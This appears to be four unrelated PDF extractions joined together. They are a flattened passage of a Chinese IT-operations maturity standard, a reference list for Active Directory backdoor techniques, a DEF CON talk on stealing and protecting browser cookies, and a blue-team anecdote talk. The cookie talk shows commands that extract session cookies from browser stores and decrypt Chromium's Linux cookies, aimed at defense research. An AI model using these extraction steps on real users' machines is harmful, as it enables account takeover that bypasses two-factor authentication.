数据库高可用 缓存高可用 1 1) 数据库备份可靠,保证数据一致性。 2) 具备数据库主从同步及主从切换的能力。 针对热点数据使用缓存进行加速。 2 同上,且需达到如下要求: 1) 数据库主备实时同步。 2) 数据库读写分离。 3) 使用数据库本地事务保证数据一致性。 4) 有同城多机房的数据备份,没有异地数据 备份。 同上,且需达到如下要求: 具备持久化保存缓存的能力,有缓存的备 份节点,主备节点保持实时数据同步,可 以手工进行主从的切换。 3 同上,且需达到如下要求: 1) 支持分表分库横向扩展。 2) 具备跨数据库事务等的处理能力。 3) 数据库可按照 RPO 要求恢复至 2 分钟内 的数据点。 4) 数据库变更操作不影响业务正常运行。 5) 有同城多机房的实时数据备份,有异地数 据备份。 同上,且需满足如下要求: 1) 缓存节点宕机可以自动切换至备份节 点,并保证数据一致。 2) 缓存具备分布式的能力,在存储量增 加或者访问量增加的情况下,可以横 向扩展成多节点的集群,且不影响生 产环境。 4 同上,且需满足如下要求: 1) 数据库扩展过程不会对正在执行读写业务 的数据产生影响。 2) 使用柔性事务,在满足数据一致性要求的 同时,降低对数据库锁的占用。 3) 有同城多机房的数据备份,有多种异地数 据备份,如冷备到磁带库。 同上,且需达到如下要求: 引入智能化技术手段,将缓存中访问频率 很少的数据持久化到硬盘存储,以降低运 行成本。 5 同上,且需满足如下要求: 1) 多机房多活或异地多活,在光缆中断等重 大故障发生时可不受影响或快速恢复运 行。 2) 有同城多机房的数据备份,有多种异地数 据备份。 同上 10 业务连续性管理 业务连续性管理是企业识别潜在危机和风险,并制定响应、业务和连续性的恢复计划的过程,其 YD/T 1756T—2018 18 目标是提高企业的风险防范意识,有效响应非计划的业务中断或破坏,并将不良影响降低到最低。 业务连续性管理由风险管理、危机管理和应急管理三部分组成。 10.1 风险管理 风险管理是识别对组织的潜在威胁以及这些威胁一旦发生可能对业务运行带来的影响的一整套管 理过程,该过程为组织建立有效应对威胁的自我恢复能力提供了框架,以保护关键相关方的利益、声 誉、品牌和创造价值的活动,其目标是发现潜在的威胁,找到应对的机制。 风险管理由RTO和RPO衡量、业务影响分析和业务风险分析组成,如表12所示。 10.1.1 RTO 和 RPO 衡量 RTO 是一个服务级别目标,是指在灾难发生后达到所需运行能力所需的时间。 RPO 是一个业务连续性目标,规定灾难恢复过程复原所有可恢复系统后达到的业务状态或业务状 况。 RTO和RPO的目标是根据关键业务板块定级,制定衡量方法,有准确的衡量办法和自动化监控的工 具能够真实的衡量运行状态。 10.1.2 业务影响分析 业务影响分析是根据对关键业务的梳理,预估可能的故障对业务带来的影响。如应用系统变更前 能够分析到是否是核心应用,是否被核心应用依赖,变更失败会影响到哪些业务场景。网络变更操作 前,能够提前了解到变更设备关联的服务器,关联的应用及数据库,并推算业务影响范围。数据库变 更能够提前预估可能影响哪些应用,变更是否会引起数据库锁表,性能下降等问题。 10.1.3 风险分析 风险分析是对目前存在的运行风险有周期性分析的计划,风险评估,并对风险有持续的改进计划 和方案。从技术架构,数据,安全等多种视角的风险分析评估,有技术专家参与,对已知风险和未知 风险分类,并对已知风险有改进计划。对变更操作充分评估风险,控制到最小。根据行业特点能够充 分考虑法律和监管风险,充分考虑外部威胁、外部舆情和客服等渠道的风险,对网络中断,IDC环境灾 难等风险有评估和应对办法。 表12 风险管理 级别 RTO 和 RPO 衡量 业务影响分析 风险分析 1 具备初步的 RTO/RPO 标准。 具备初步的业务影响分析能 力。 具备初步的业务风险分析能 力。 2 1) 具备清晰的 RTO/RPO 标 准,具备基础的衡量办法 和自动化监控工具。 2) 整 体 RTO 达 到 99.90% (一年大于 1300 分钟, 包含计划内停机和计划外 停机)。 3) 同城跨机房 RPO 大于 5 分钟。 1) 具备业务影响和风险评 估。 如:检查历史变更 单是否与事前评估相符 2) 变更操作可提前评估好 变更风险和影响, 提前 预防。 1) 无严重影响安全运行的 隐患。 2) 按月为周期对运行风险 进行分析和评估。 3 1) 具备清晰的 RTO/RPO 标 准,具备准确的衡量办法 和自动化监控的工具。 同上,且需达到如下要求: 具备业务影响和风险评估,并 结 合 业 务 变 化 及 时 更 新 。 1) 可结合容量水位定期分 析运行风险评估,容量 能够满足业务的增长需 YD/T 1756T—2018 19 2) 整体 RTO 达到 99.95%以 上(一年小于 260 分钟, 包含计划内停机和计划外 停机)。 3) 同城跨机房 RPO 小于 2 分钟,异地 RPO 小于 10 分钟。 如:每个月评估业务变化,改 进项落实。 要 2) 针对法律和监管风险充 分评估和预防。 3) 常态化的按周上报风险 评估。 4 1) 具备清晰的 RTO/RPO 标 准,具备准确的衡量办法 和自动化监控的工具。 2) 整体 RTO 达到 99.99 以 上(一年小于 52 分钟, 包含计划内停机和计划外 停机)。 3) 异地 RPO 小于 5 分钟, 同城跨机房 RPO 小于 1 分钟。 同上,且需达到如下要求: 结合服务治理和调用分析等平 台自动化推测业务风险的评 估,变更操作的业务影响和风 险评估准确,极少因评估不准 确导致故障。 同上,且需满足如下要求: 对外部舆情及客服等信息进 行分析,可主动发现舆情风 险和用户体验的问题。 5 1) RTO/RPO 的衡量办法能通 过智能化手段进行记录和 评估。 2) 整体 RTO 达到 99.995%以 上(一年小于 10 分钟, 包含计划内停机和计划外 停机)。 3) 同城和异地的 RPO 都能 小于 1 分钟。 同上,且需达到如下要求: 引入智能化技术手段,对计划 操作的变更提前评估和预测业 务的影响范围和影响大小。 同上,且需满足如下要求: 1) 引入智能化技术手段, 对运行风险有周期性智 能化的分析和评估,可 覆盖所有业务,无影响 安全运行的隐患。 2) 对可能发生的外部风险 智能故障自愈和止损。 10.2 危机管理 危机管理用于应对已经发生的威胁,涉及需要鉴定、评估、理解和如何应对危机。危机管理分为 灾备管理和组织机制,如表 13 所示。 10.2.1 灾备管理 灾备管理指根据业务的重要程度和连续性要求,制定数据灾备,业务灾备,业务多活等灾备方案。 由以下几部分组成: 灾备测试和演练:具备定期灾备测试和演练的计划和执行记录。 灾难恢复:在灾难发生后,经过分析决策及时启动灾难恢复计划,快速恢复生产。 10.2.2 组织机制 组织机制是指设立危机管理组织,负责在重大风险或危机发生时,综合业务影响,用户损失影响, 财产损失风险,社会舆论影响,法律风险等问题,进行评估及决策,通过规范的方式对客户及社会公 众及时发布信息及处理情况,如果有国家监管部门应按照及时上报监管部门。 危机管理组织不同于应急小组,该组织在重大危机事件发生后启动危机处理流程,尽可能快速评 估风险,决策是否启动灾备应急计划,统一公关口径。该组织一般需要业务负责人,IT 技术部门负责 人,法律顾问,公共关系发言人,管理层等相关人员组成。 表13 危机管理 级别 组织机制 灾备管理 YD/T 1756T—2018 20 1 具备初步的危机管理组织体系。 具备灾备计划,有灾备演练但是间隔超过一 年,存在灾备不能按照预期时间完成恢复或者 恢复失败的风险。 2 具备完备的的危机管理组织体系,角色划分清 晰,职责明确。 具备灾备计划,且至少半年进行一次灾备测试 演练,演练结果能保证在预期时间完成且结果 正确。 3 同上,且需达到如下要求: 管理层重视且参与危机管理组织体系中。 灾备方案上充分考虑外部因素影响,有多机房 架构,能够做到短时间快速切换且对业务影响 最小化。 4 同上,且需达到如下要求: 危机管理组织体系完善,快速响应,能够快速应 对和处理重大风险和危机。 同上,且需达到如下要求: 支持分别承载生产业务,各机房能够独立运行 业务,即具备完备的数据及应用。能够做到常 态化切换并对业务没有影响。 5 同上 同上 10.3 应急管理 应急管理是在突发或重大 IT 事件发生后,对 IT 技术和业务进行快速修复,最大限度地减少事件 造成的危害。应急管理由应急预案、应急演练和组织机制组成,如表 14 所示。 10.3.1 应急预案 良好的应急预案计划应该能够及时更新,集中管理应急响应预案的版本和发布,支持快速检索相 关预案内容以便及时执行。 10.3.2 应急演练 应急演练是指具备完整的定期执行的演练计划,历史执行的演练计划可以查询到并符合实际情况。 可通过主动注入故障的方式模拟真实情况,提前演练验证系统的健壮性和对故障的处理机制和处理时 间。 10.3.3 组织机制 应急管理组织架构是有定期更新的应急管理组织架构,包括具备技术能力的 IT 部门代表,研发部 门代表,业务部门代表,高级管理层代表;具备应急响应及处理能力,监控系统及时准确,通过引入 智能化的技术,结合知识库和应急预案,迅速准确的分析出应急事件的原因,甚至结合应急预案的操 作步骤进行自动化的止损操作。 表14 应急管理 级别 应急预案 应急演练 组织机制 1 具备一定的应急响应预案。 应急演练不足以反应组织的应 急响应能力。 具备应急管理组织架构,但角 色划分不充分。 2 1) 具备详尽的应急响应预 案。 2) 可准确说明启动应急响 应预案的条件。 1) 有定期的应急演练,能够 反应组织的应急响应能 力。 2) 监控系统及时准确,具备 反映业务运行状况的监控 报警,具备报警升级机 制。 1) 有及时更新的应急管理组 织架构,角色完备,有相 应的应急上报机制。 2) 充分考虑外部舆情和客服 的信息反馈。 YD/T 1756T—2018 21 3 同上,且需达到以下要求: 具备集中管理且及时更新的 应急响应预案,方便检索。 同上,且需达到以下要求: 能够模拟真实情况主动模拟硬 件或操作系统故障注入故障, 执行人员快速排查定位问题并 解决。 同上,且需达到以下要求: 1) 具备专人 7*24 监控应急 能力,对故障基本能做到 通过告警主动发现。 2) 2 分钟快速响应,5 分钟 找到问题原因和启动预 案,10 分钟完成问题解 决。 4 同上,且需达到如下要求: 引入智能技术,智能分析运 行数据,智能推荐适合采用 的应急预案,可结合应急预 案的操作步骤进行自动化的 止损操作。 同上,且需满足如下要求: 能够模拟真实情况主动注入故 障,执行人员可快速定位问题 并解决。 同上,且需达到以下要求: 1 分钟快速响应,3 分钟找到问 题原因和启动预案,5 分钟完 成问题解决。 5 同上 同上,且需满足如下要求: 引入智能技术,迅速准确地进 行根因定位和自动化止损操 作。 同上,且需达到以下要求: 通过引入智能技术,结合知识 库和应急预案,迅速准确的分 析出应急事件的原因,甚至结 合应急预案的操作步骤进行自 动化的止损操作 11 用户体验管理 用户体验是用户在使用产品过程中建立起来的一种主观感受。一般用户体验是有关于产品设计方 面的,不同的产品对用户体验的追求不同。本章节提到的用户体验管理指的是通过技术运营手段来提 升用户使用产品直观感受。例如:提升流畅度、缩短响应时间等。 用户价值是企业赖以生存的核心竞争力,诸多优秀公司也将对最终用户提供极致服务最优体验视 作价值观愿景。在技术运营过程中,用户体验管理通过技术运营手段,让用户使用产品更加顺畅,付 出最小的成本达到用户目的。 用户价值是技术运营中的一项进阶能力要求,需要技术运营团队同时具备业务认知能力、数据管 理能力、体验优化能力。本规范主要目的是指导技术运营团队在技术运营过程中更好的改善产品的用 户体验。基于用户体验的服务能力,分为业务认知管理和体验管理两部分。 11.1 业务认知管理 业务认知管理指技术人员除了技术以外也需要加强多业务的学习和使用以达到更好的技术端支持。 这里从业务学习和知识考核方面做了要求,如表15所示。 11.1.1 业务学习与考核 表15 业务认知管理 级别 业务学习与考核 1 1) 具备掌握所负责业务模式的基本流程。 2) 重视业务运营指标,未涉及对单用户及核心用户群的体验进行分级管理。 3) 具备基本的业务认知,定期体验自己负责的业务及产品。 2 同上,且需达到如下要求: 1) 了解所负责的业务产品功能、业务受理工具、客服咨询及投诉处理流程等。 2) 具有较强用户意识,能够体验并深入理解不同用户群的核心流程。 YD/T 1756T—2018 22 3) 能够深入理解用户行为,但没有形成以用户为首视角的场景意识。 4) 能采用基础测试工具(如网络测速)和用户侧反馈信息提供体验咨询评估。 5) 具备用户体验类关键指标,并且能够以指标数据驱动业务改善。 6) 要求团队参加业务培训及考试,并获取相关上岗资质等。 3 同上,且需达到如下要求: 1) 具有较强产品意识,能够挖掘用户痛点需求及发现用户使用门槛的体验问题等。 2) 要求深入理解核心场景(登录、消费等)的用户表现,并支持单场景配置化。 3) 具有解决用户体验问题的主动规划能力。 4) 具有与内部产品、质量、UED、客服等团队协作,统一用户业务数据以及舆情信息、业 务安全等的用户体验数据链路。 5) 参加业务产品岗培训,并推行团队 IPD 或业务体验指标纳入团队 KPI 考核要求等。 6) 要求团队具有用户体验类的知识管理系统 4 同上,且需达到如下要求: 1) 了解不同版本、不同终端的产品服务流程及具有研究相关竞品的用户行为差异等。 2) 具有较好的数据产品规划意识,能够深入体验并理解产品的用户行为路径及服务地图 设计的内容等。 3) 要求深入理解复杂用户行为的场景(如用户回流转化率提升场景),并能够支持用户级 体验画像。 5 同上,且需达到如下要求: 1) 具有提供体验服务应用 PaaS 类的能力,并能够形成行业标准及对外部厂商提供体验服 务的技术输出能力。 2) 具有整合外部厂商及业务技术资源,提供业务决策模型的在线策略库。 3) 要求团队具有用户体验类知识图谱或专家系统匹配的相关算法知识或相关应用经验。 11.2 体验管理 体验管理,是指将直观的用户体验指标分类和量化,分阶段从不同的维度(技术、产品、交互设 计)设立计划,逐步提升数据,引导直观感受的提升。体验管理分为体验数据管理和体验优化管理两 部分,如表 16 所示。 11.2.1 体验数据管理 通过分类细化体验指标,建立数据能力及意识帮助量化体验。包括数据梳理、上报、可视化及平 台化的建设。 11.2.2 体验优化管理 在业务理解和体验数据可视的基础上,通过对产品流程、交互过程、功能等过程采用技术、流程 优化等综合化的手段提升体验项和指标。 表16 体验管理 级别 体验数据管理 体验优化管理 1 1) 能采用基础采集 agent 工具,完成体验 数据采集并建立相关数据权限。 2) 具有全面收集业务后端程序的日志数据 (含程序间模调、机房网络延迟丢包 等)。 1) 具有用户体验场景的自定义监控并能够快速解 决用户体验问题。 2) 具备采用追加埋点信息及业务突发预案快速处 理体验问题。 YD/T 1756T—2018 23 2 同上,且需达到如下要求: 1) 具有主动规划业务数据埋点的用户事件 上报信息(如用户端到业务端网络环境 的链路、用户终端设备&系统环境等)。 2) 要求埋点工具支持数据上报频率、加 密、 压缩、动态配置等功能。 3) 具备多维分析及存储服务的大数据应用 技术解决方案,支持体验指标自动计算 结果,但不包括形成统一的体验可视化 大数据系统或平台。 4) 要求用户体验的指标度量能够反应业务 用户的质量,并能周期性评审和更新指 标有效性。 同上,且需达到如下要求: 1) 具备全链路的用户行为的体验指标监控(如性 能 APM 类工具等),并能够联动内部团队(客 服、产品、程序等)协作提升用户问题处理效 率。 2) 具备采用告警分析工具并结合历史异常信息, 对疑难体验问题的定位交付解决方案,但未达 到以体验事件的自动跟踪和关联管理。 3) 具有自动展示通用性能指标数据和用户体验的 细则报告,并能支持自助订阅。 4) 具备在终端设备、网络运营商、多分发渠道系 统、CDN 等形成用户端的优化工具(如探测用 户网络质量、终端设备调优、通知用户提示等 工具)。 3 同上,且需达到如下要求: 1) 需要具有收集竞品及外部相关业务口碑数 据(如舆情、市场、口碑指数类)。 2) 具有统一的体验元数据管理,并支持数据 的全链路质量监控(如 5 分钟内发现数据 质量异常)。 3) 具备统一的业务体验指标数据度量标准, 并要求数据计算工具支持实时和离线的频 率配置。 4) 具备业务核心体验指标的基线数据的管 理。 5) 具备体验多维度的数据可视化和数据全链 路的实时查询功能。 同上,且需达到如下要求: 1) 具有专有的用户体验管理系统,并能够支持整 合工具、用户数据、用户体验方案完成自动跟 踪、处理和优化效果的事件闭环流程。 2) 具有结合行业优秀的解决方案或新技术引入机 制(如 vip 用户网络加速技术、系统参数调优 技术等),改善业务用户体验。 3) 具备联合客服、UED、研发团队、产品体验优化 团队形成专项深入的优化体验攻坚项目(如业 务口碑改善计划) 4) 具有体验解决方案的知识库或改善用户体验的 决策库。 5) 具备提供用户体验咨询类的解决方案。 4 同上,且需达到如下要求: 1) 要求具有统一的事件埋点工具,管理上 报事件的字段及自定义上报标准。 2) 要求事件埋点工具具备不同区域的私有 化部署采集(如 SDK 上报类),并能够支 持动态配置。 3) 需要重视非业务本身的对外体验数据服 务的用户隐私数据和业务数据安全。d) 要求对上报事件埋点数据质量控制在 98% 以上,对于用户级的体验数据,需要控 制 0.1-1%误差以内(如业务经营指标的 玩家活跃与用户体验上报的玩家的用户 级数量差异)。 同上,且需达到如下要求: 1) 具备用户体验画像与体验指标体系的体验大数 据系统或平台,并支持自助式仪表盘的多维主 题分析和拖拽式的可视化管理。 2) 具备主动联合外部设备厂商、网络供应商、分 发渠道商等多种渠道深入合作,对业务体验进 行优化并创造更多的增值服务,达到提升业务 运营的商业化指标。 5 同上,且需达到如下要求: 1) 要求数据埋点上报方式具备 SDK 或消息 队列(如 kafka)上报的方式,并支持数 据的自主订阅。 2) 要求数据终端埋点工具具备本地智能运 算的异常点检测及直接修复逻辑代码的 嵌入,并支持云端动态策略下发管理 (如用户域名劫持检测和下发修复机 制)。 3) 具有体验数据建立多维度用户画像及数 据关系图谱模型的管理。 同上,且需达到如下要求: 引用智能技术,建立具有业务领域体验类的知识图谱 或专家系统,支持进行 AI 体验咨询及自动跟踪评 估,智能匹配推荐行业的最佳体验优化方案。 _________________________________
pdf
1 2 3 Reference: https://docs.microsoft.com/en-us/windows/win32/secauthz/how-dacls- control-access-to-an-object 4 5 6 7 8 9 Reference: https://github.com/samratashok/nishang/blob/master/Backdoors/Set- RemotePSRemoting.ps1 10 11 Reference - https://github.com/samratashok/nishang/blob/master/Backdoors/Set- RemoteWMI.ps1 12 13 14 15 16 https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor- string-format 17 18 19 20 21 Reference: https://docs.microsoft.com/en-us/powershell/jea/overview 22 23 24 25 26 27 28 29 References: https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc- compromise-in-one-line-a0f779b8dc83 http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for- escalation-in-active-directory.html 30 https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best- practices/appendix-c--protected-accounts-and-groups-in-active-directory 31 32 Reference: http://techgenix.com/aquicktiptoallowdsrmaccounttologonnormally/ 33 34 Reference: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#generic- dacl-abuse 35 36 37 38 39 40 Reference: https://docs.microsoft.com/en-us/windows/win32/adschema/r-user- force-change-password 41 References: https://docs.microsoft.com/en-us/windows-server/identity/ad- ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in- active-directory https://adsecurity.org/?p=1906 42 43 References: https://www.dcshadow.com/ https://www.labofapenetrationtester.com/2018/04/dcshadow.html https://www.labofapenetrationtester.com/2018/05/dcshadow-sacl.html 44 45 46 47 48 [1] - http://active-undelete.com/dcom-configuration.htm [2] - https://redmondmag.com/articles/2002/02/01/securing-remote-management- with-wmi.aspx 49 https://github.com/BloodHoundAD/BloodHound/tree/master https://github.com/canix1/ADACLScanner https://www.pingcastle.com/ https://github.com/samratashok/Deploy-Deception 50 51 52
pdf
Client-Side HTTP Cookie Security: Attack and Defense David Wyde DEF CON 22 Game Plan •  Why are HTTP cookies valuable to attackers? •  How do popular web browsers store cookies? •  How can cookies be stolen? •  How can cookies be protected? Disclaimers •  The opinions in this presentation are mine, and not my employer’s. •  The security issues I discuss are not specific to any one website, and are not vulnerabilities in the conventional sense. What is an HTTP Cookie? •  Cookies are transmitted as HTTP headers •  Name-value pairs •  HTTP clients store state using cookies •  E.g., trade credentials for a session cookie Cookies in Action User-Readable Data •  Any process that runs as your user can read: •  Your private keys •  Some software saves passwords as plaintext •  Web browser cookies •  Damage is done without privilege escalation Cookies Are Valuable to Attackers •  Cookies can be more valuable than passwords •  Gmail: bypass two-factor authentication •  Facebook: don't warn of login from a new device •  Counterpoints •  "Please re-enter your password” •  Cookies expire Gmail: Two-Factor Authentication Facebook: New Login Email Browser Cookie Storage Cookie Storage: Intro •  Almost all browsers store cookies as plaintext •  The HttpOnly and Secure flags apply inside browsers •  Malware need not respect them Firefox •  Stores cookies in an SQLite database •  Cookies can be read using sqlite3, Python, etc. Reading Firefox Cookies $ sqlite3 ~/Library/Application\ Support/Firefox/Profiles/*/cookies.sqlite SQLite version 3.7.13 2012-07-17 17:46:21 Enter ".help" for instructions Enter SQL statements terminated with a ";" sqlite> .schema CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, appId INTEGER DEFAULT 0, inBrowserElement INTEGER DEFAULT 0, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path, appId, inBrowserElement)); CREATE INDEX moz_basedomain ON moz_cookies (baseDomain, appId, inBrowserElement); sqlite> SELECT value FROM moz_cookies WHERE name='GX'; DQAAAPEAAABWYmsr2PFvwQi4XhQWYcw_5coZVfjh-efmKTNeLjyLx04sHi_Ih- xMOsSRaZ6J38QzDGyCt5v6DKYkkoc6TeX8QKuaOPSAqqGTEo4v2Y6kvmzlS-SvdU4zTcuJ- z4uCf7uiZ7Ic- H6U5Mt7leqmsDhQeEoL01z5OF6iLoxUeCHU_91eWrA2bOpU8ppqVjutpi4WVhyqLV7WX6hgSnE kWnpsN-XwcDF84V7u0DrlKCQFupzmCfa3nt_tARY-SxbyNrmY_0rH4YF- xBVvPFXBQpKqUZrW_zMdGmWgmPER_7mBTGXtlh9PM5nCP_bw09oIqXrQb_OhHe7c3AnnIg2EIq g Internet Explorer •  Stores cookies as text files •  The folder varies depending on IE version •  Filenames are random: need to read the files Reading Internet Explorer Cookies Opera and Safari •  Custom binary formats •  Can be parsed by free software tools •  Safari: Cookies.binarycookies •  Opera: cookies4.dat Reading Safari Cookies $ python ~/Desktop/BinaryCookieReader.py ~/Library/ Cookies/Cookies.binarycookies | grep yahoo Cookie : hpc=d=ItIKgZXDu9Pkv2_sEb7ygoVyN9bHZ2mmjnr8eBC8z9Ynw88Tayw 7ixgQfT4vleMQ56bGUussxMNmYBusbq3RHgXIkea3DhM.Yzckc.y6GAQE iJoPoK1DzyvYg1cyBoMWlZccOkvv7wvPUmDHnNk1uyiJwon3_YjfMMyCX stKdmUKmePy_Wn04tFoVbui1wlLTuSpqTw-&v=2; domain=.www.yahoo.com; path=/; expires=Wed, 15 Jul 2015; Cookie : B=2b26v3t9s955p&b=3&s=oh; domain=.yahoo.com; path=/; expires=Fri, 15 Jul 2016; Cookie : CRZY=%7B%221048616551%22%3A%7B%22expires %22%3A1405564858541%2C%22data%22%3A%7B%22nv%22%3A1%2C %22bn%22%3A0%7D%7D%7D; domain=.yahoo.com; path=/; expires=Thu, 17 Jul 2014; Reading Opera Cookies $ python opera_reader.py ~/.opera/cookies4.dat file_version_number 4096 app_version_number 8193 idtag_length 1 length_length 2 domain record [('0x1e', 'name of the domain part', 3, 'org')] end of path record domain record [('0x1e', 'name of the domain part', 8, 'slashdot')] cookie record [('0x10', 'name of the cookie', 6, '__gads'), ('0x11', 'value of the cookie', 69, 'ID=2628549bf6c27042:T=1405392507:S=ALNI_Maix2zTTIQ4159AfUM0tH p7h_ODgQ'), ('0x12', 'expiry', 8, '2016-07-13 21:48:27'), ('0x13', 'last used', 8, '2014-07-14 21:49:28'), ('0x28', 'unknown cookie data id', 8, '\x00\x00\x00\x00\x00\x00\x00\x00'), ('0xa9', 'unknown cookie data id', 0, '')] Chromium •  Encrypts cookies in recent versions •  Implementation and security vary by platform •  Stores cookies in an SQLite database •  BLOB field for encrypted cookie values Chromium on Linux •  Linux has no single standard keyring mechanism •  (KDE, Gnome, etc.) •  Cookies encrypted with AES (symmetric key) •  Hard-coded key and salt •  Can be decrypted on any machine •  Link against Chromium libs, call code to decrypt Reading Chromium Cookies: Linux Reading Chromium Cookies: Linux [david@localhost Desktop]$ python chromium_b64_cookie_linux.py djEwXgab42ZPnVqGRirZqEHsvEN8bC/ chT84CbmJxMSJDr6XA7mQLZdCuLwYSNA6srVf7NDn7rHdBOFJf8SX4jdCxlQhcrUGH +0KzFz +hUxUcgRzy6jWEZyAe4QDegh1YGtfdCGiZ2TgHkEifJ0Mojf4VpuKhFw7SVpCzCorz86JF czNpco7LZwM/xng7UPmVEY4sIQwAGlTXoY9ThgaliP8HGviwkK0ozW9/FMUiGaxBIqDD +FSfsGszckv9zRbK8XL2PbHVslRmG2ENQ8wESu2Czajb20BQ+L3dMRvOcVbW+gwt+H/ cBG23dnjnhFxGcvm9DSDyz87o5ssILocgMT+kddTBCG8ohvy7iNE3njT6WOFktK8Hd/ +rhSUarnCtZt9UB1EZtikWbpqn0PKrVCKn0wVpO4oyeDIe96xEesn/IM= david@computer /d/code/snickerdoodle/chromium-linux $ LD_LIBRARY_PATH=/d/code/lib/chromium/src/out/Release/lib ./ base64_reader $(cat fedora-cookie.txt) DQAAANMAAAD55DvOAnmlugeHzwGKs0asFxYtMfXl- Xdg7MtLYmdj5GDI3iyPh70Ds6OKgogfATna2KV9d7JqZxJ5e7SA- sbH1oxvQFs1WsFo_9WzEfj9VamEV5C0uml6tVuzhIGzrrKM0__0SI6QANb-y- qyM3QJSKCB7QrXR_Ug7lFzjibDW7Fsfg15SUCTmfQz9YLBP4oYSOt_pJRVf5XZgbN_2J- KQzBqtZznZwKVE4TatBaAucT- R9jXnjM5aMdoJvr7ubghi0p1m7yvPevqNNRItPkeB5aV_cPXHKRMjwhAAk6_2w Chromium on Windows •  CryptProtectData is used to encrypt •  A Windows cryptography API •  Uses login credentials as part of the encryption •  CryptUnprotectData is used to decrypt •  Must be called by the user that encrypted, on the same machine Chromium on Mac •  Store an encryption key in the system keychain •  If no key exists, a random one is generated •  AES is used to encrypt/decrypt •  Keychain prompts when accessed from unsigned apps Reading Chromium Cookies: Mac Browser Cookie Storage: Summary •  Chromium encrypts cookies on Windows and Mac •  Chromium obfuscates cookies on Linux •  Other popular browsers store cookies as plaintext Attack Vectors Physical Access •  Cookies are there for the taking with most browsers •  Chromium protects you on Windows and Mac Social Engineering •  Excel/Word macros •  Malicious executables •  Don't need to install anything - just run once Malware •  Drop and run an executable to extract cookies •  Metasploit •  Any process that runs as your user •  HTTP POST cookies to a malicious server Proof of Concept Proof of Concept: Login Defenses Disk Encryption •  Protect against physical access to plaintext cookies Application Firewalls •  Block/allow (server, port) pairs for each application •  Chromium can access www.google.com on port 443 •  Examples •  Mac: Little Snitch •  Windows: NetLimiter? •  Linux: ? Little Snitch SELinux •  Security-Enhanced Linux •  Separate from standard Unix permissions •  Can isolate a user’s applications from each other Idea: Master Password for Cookies •  Type in a password to decrypt your cookies •  Firefox has this to protect passwords Firefox: Master Password Server-Side Defenses •  Tie a session cookie to the login IP •  The cPanel web hosting tool can optionally enforce this •  Kind of annoying in a world of mobile clients •  Warn users, rather than force them to log in again •  “You’ve logged in from X and Y countries this month” Conclusions •  Cookies should be handled with care •  Client-side cookie security is not a solved problem References •  Opera reader: https://gist.github.com/gwarser/1324501#file-readcookies-py •  Safari reader: http://www.securitylearn.net/2012/10/27/cookies-binarycookies- reader/ •  Firefox master password: http://kb.mozillazine.org/Master_password •  cPanel cookie IP validation: http://www.cpanelkb.net/cpanel-security-settings-checklist/ •  CryptProtectData (Microsoft documentation): http://msdn.microsoft.com/en-us/library/aa922939.aspx
pdf
Blue Team Hell: A story of ISPs, Healthcare, and Education Text Amanda Berlin @Infosystir Blue team started at ISPs Healthcare Purple team Windows Admin Network Security Jack of all trades very visual - All the memes!! Text Hot sauce for charity that’s not Charity Text Adult Supervision Required If you’re squeamish… you might want to look away and maybe do the earmuffs thing Text Blue & Red One of my favorite kid’s movies ever. Great quote that applies to defense and offense 1. preface with that all I’m bringing up has been engineered and fixed or I wouldn’t bring it up. 2.Imagine yourself walking into this environment with no help (at first) 3.Hadn’t started in infosec yet 4.Knew these were bad, and it got worse 5.Guy didn’t grow with the environment 6.Started out with everyone in the dept as a domain admin and non-dept people knowing “INFO” 7.Start with some things we didn’t have 1. A/V - production servers had anti-virus installed sometimes. But if it were to cause performance problems it would be uninstalled or disabled. Servers that were required to remain logged in with domain admin due to the way the application interacted with the desktop. 2. WSUS. All windows environment. WSUS was there, just not really operational or managed. 3. Visibility. No clue what software, how many servers/switches/pcs. What vendor equipment was on our network, what data was passing over it. 4. decent datacenter (waterlines above, open ports, door access, cable mgmt) pictures of server racks here 1. backups 2. DMZ 3. segmentation, open ports and vlan1 everywhere! 4. At one point this was so incredibly bad. That our public facing web server was on a dual homed windows 2003 server. This Windows server had a database backend that our third party web developers would access with vnc. The database was on microsoft sql 2000 located on our domain controller. These same domain controllers contained the dhcp zones for our publicly accessible non-password protected, unencrypted wifi. Once we had an issue with our guest wifi and had an older lady call us up at the helpdesk asking when her internet would be back up and functional. She was located across the street. Text Cath Lab diagnostic imaging equipment used to visualize the arteries and chambers of the heart 1. Lots of big named vendors supply cath lab equipment. 2. One night we ended up with our night operator calling about rapidly locked out accounts 3. Due to lack of visibility we made a quick vbs script to unlock 4. Turns out this vendor shipped us boxes infected with conficker. 5. Scan everything before it hits your production network. 6. Turns out you get an amazing discount on your software licensing and hardware when you can prove a billion dollar company infected your network! 7. onto things that we did have 1. ms08-067 2. conficker 3. windows 2000/xp rampant 1. Password protected excel 2002 with all of our organizational passwords 2. Water spouts (literally) 3. no password policies/password reuse constantly/no password on sa 1. Best alerting system ever = APC UPS 2. Phone system for our switch board that could be taken down by a port scan. 3. bedside usb card readers that used keyboard emulation to type in credit card data 4. Pharmacy tablet sending PCI data wirelessly in the clear. Text Blue Team contractor I kid you not this is what he did all day. Ask @z0rlac and he can back me up. We provided internet connections for multiple offsite locations as well as allowed them to colocate in our datacenter, offered them services, as well as applications. After I had purchased a vulnerability scanner and shown them what shodan could do I was then instructed to run vulnerability scans across our connections with the businesses just as an added bonus to them. Text My personal fails I have had personal massager fails… but that’s a whole other talk. Text masscan = bad idea can bring fortinet’s and checkpoint’s to their knees Text I have another talk about this entire purple team exercise that grew into a security awareness program. I go into this program in detail in the talk, however about half way through I decided to use a fake Paypal/Kohl’s receipt as a phish for click baiting. I inadvertently had a user cancel her paypal and Kohl’s card and open up fraud cases with their support. Before she even realized that it came from a google address to her work email that wasn’t even tied back to her personal account. http://infosystir.blogspot.com/2015/02/the-path-to-fixing-security-awareness.html Also the talk is on irongeek’s site/youtube channel and a link on my blog. It’s called “Shooting Phish in a Barrel and other bad puns”
pdf
